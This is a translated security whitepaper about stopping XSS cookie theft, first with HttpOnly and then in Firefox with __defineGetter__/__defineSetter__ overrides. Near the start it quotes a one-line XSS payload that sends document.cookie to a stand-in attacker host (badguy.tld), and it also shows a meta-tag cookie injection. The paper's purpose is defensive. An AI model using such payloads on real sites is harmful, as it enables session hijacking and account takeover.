This is an english translation of "HttpOnly e Firefox" a whitepaper of my friend Stefano Di Paola written in italian.
Versione originale italiana: http://www.wisec.it/sectou.php
XSS vulnerabilities are often used by attackers to steal user cookies. Once the offender has got the cookie there are various possible attacks like Session Hijacking. A classic way to collect user cookies using XSS vulnerabilities is the following:
<script>var img=new Image();img.src=\'http://badguy.tld/cookiecollect.php?c=\' document.cookie;</script>
This oneliner on a JavaScript enabled browser creates an image object and asks for its content from the specified url. If the site wich hosts the "image file" (in our case cookiecollect.php) is controlled by the attacker then he will steal cookies without the victim noticing it. To undestand the level of the threat you can think about sessions and about how these are used to mantain user's credentials during navigation (aka a stealed cookie usually permits you to gain the same privileges that the user had on the webapp, whatever they were "Guest User" or "Administration").
Microsoft has implemented, starting from Internet Explorer 6 Service Pack 1, a way to mitigate this problem: the HttpOnly keyword.
How it works: in the HTTP headers the server sends the cookie with the HttpOnly parameter (ex.: Set-Cookie: Session:12345; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
) and then on the client side Explorer notices this and inherbits the access to the cookie's data from JavaScript. Then it's impossible to access cookie value using document.cookie.
Nowadays are known many tecniques to bypass this restriction but with the needed hardening on the server side this vector of attacks results much mitigated if not completely resolved. Pay attention to the fact that here we are speaking only about blocking attacks targeted on cookies and not about resolving the whole XSS problem (and there are many many things an attacker can try to exploit using JavaScript that doesn't relay on a cookie value).
Now let's see Mozilla Firefox and his brothers: Firefox (a quanto pare) doesn't seem to have the intention of supporting the HttpOnly cookie flag.
One day with ascii we made some considerations about ways to detect and block XSS (read as XSS POC), lately I went deeper into the question.
Mozilla Firefox developers built a very easy and elastic framework of JavaScript functions, specifically they defined some functions for class and object prototypization and definition. We will use __defineGetter__
and __defineSetter__
on cookies to protect cookies against XSS on the client side.
Definitions:
__defineGetter__
: Permits to define a function that will be called when there will be a request for the value of a parameter or a variable.
__defineSetter__
: Permits to define a function that will be called every time a value is associated to a parameter or a variable.
Conclusions:
HTMLDocument.prototype.__defineGetter__("cookie",function (){return null;});
Will block every request to the cookie value from JavaScript.
For example in php:
<?php session_start(); ?>
<script>
HTMLDocument.prototype.__defineGetter__(\"cookie\",function (){return \"sorry\";});
alert(document.cookie);
</script>
Will show an alert containing "sorry" in place of the original cookie value; internally Mozilla Firefox will mantain the original value intact.
And what about __defineSetter__
?
This could be used to mitigate Session Fixation attacks and other tecniques based on cookie manipulation. If we don't want the cookie to be altered from JavaScript we can define something like:
HTMLDocument.prototype.__defineSetter__(\"cookie\",function (new){});
For example in php:
<?php session_start(); ?>
<script>
HTMLDocument.prototype.__defineSetter__(\"cookie\",function (new){});
document.cookie=\"hello\"
alert(document.cookie);
</script>
This approach is in realty poco effective because cookies can be redefined using:
<meta http-equiv=\"Set-Cookie\" content=\"value=n;path=/\">
In the case we filter proprely meta tags the setter tecnique disallow cookie manipulation via HTML.
Naturally setter and getter could be used to also block other funktions like XMLHttpRequest and similar but unluckly __defineGetter__
and __defineSetter__
aren't implemented on all the browsers (read MS IE). It could be interesting to use similar tecniques on IE.
(Per inciso) La traduzione e' stata resa possibile grazie la collaborazione di hobo.